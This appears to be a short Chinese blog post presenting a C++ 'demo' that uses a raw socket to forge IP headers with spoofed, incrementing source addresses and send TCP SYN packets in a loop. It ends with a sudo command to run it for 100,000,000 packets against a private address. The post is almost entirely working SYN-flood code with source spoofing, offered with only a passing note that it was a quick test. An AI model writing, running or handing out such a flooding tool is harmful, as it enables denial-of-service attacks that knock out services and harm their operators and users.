介绍
随便测试一下,发现似乎只有保留地址才生效RECV
Demo
#include <iostream>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <cstring>
#include <linux/tcp.h>
#include <linux/ip.h>
unsigned short check_sum(unsigned short *addr,int len){
register int nleft=len;
register int sum=0;
register unsigned short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
bool ReadArgs(int argc, char* argv[], char* ip, int& src_port, int& dst_port, int& count)
{
if(argc != 5)
{
std::cout << "./a.out ip src_port dst_port count" << std::endl;
return -1;
}
memcpy(ip, argv[1], strlen(argv[1]));
src_port = std::stoi(argv[2]);
dst_port = std::stoi(argv[3]);
count = std::stoi(argv[4]);
return true;
}
bool InitSocket(const char* ip, int dst_port, int& sfd, struct sockaddr_in& DstAddr)
{
sfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(sfd == -1)
{
perror("socket err:");
return false;
}
DstAddr.sin_family = AF_INET;
DstAddr.sin_addr.s_addr = inet_addr(ip);
DstAddr.sin_port = htons(dst_port);
int opt = 1;
if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) == -1)
{
perror("setsockopt err:");
return false;
}
return true;
}
bool Send(int sfd, sockaddr_in DstAddr, int src_port, int dst_port, int count)
{
srand(time(NULL));
int x = inet_addr("192.168.150.128");
for(int i = 0; i < count; i++)
{
struct iphdr ip;
struct tcphdr tcp;
memset(&ip, 0, sizeof(ip));
memset(&tcp, 0, sizeof(tcp));
ip.version = IPVERSION;
ip.ihl = sizeof(struct iphdr) >> 2;
ip.tos = 0;
ip.tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
ip.id = 0;
ip.frag_off = 0;
ip.ttl = MAXTTL;
ip.protocol = IPPROTO_TCP;
ip.check = 0;
ip.saddr = x + i;
ip.daddr = DstAddr.sin_addr.s_addr;
tcp.source = htons(src_port);
tcp.dest = htons(dst_port);
tcp.seq = rand();
tcp.doff = 5;
tcp.syn = 1;
tcp.check = check_sum((unsigned short*)&tcp, sizeof(tcp));
char buf[1024] = { 0 };
memcpy(buf, &ip, sizeof(ip));
memcpy((char*)(buf + sizeof(ip)), &tcp, sizeof(tcp));
int len = sizeof(ip) + sizeof(tcp);
sendto(sfd, buf, len, 0, (const sockaddr*)&DstAddr, sizeof(DstAddr));
}
return true;
}
int main(int argc, char* argv[])
{
char ip[20] = { 0 };
int src_port = 0;
int dst_port = 0;
int count = 0;
if(ReadArgs(argc, argv, (char*)&ip, src_port, dst_port, count) == false)
{
return -1;
}
int sfd = 0;
struct sockaddr_in DstAddr;
if(InitSocket(ip, dst_port, sfd, DstAddr) == false)
{
return -1;
}
if(Send(sfd, DstAddr, src_port, dst_port, count) == false)
{
std::cout << "send -1" << std::endl;
return -1;
}
return 0;
}
执行
sudo ./a.out 192.168.150.128 33332 33333 100000000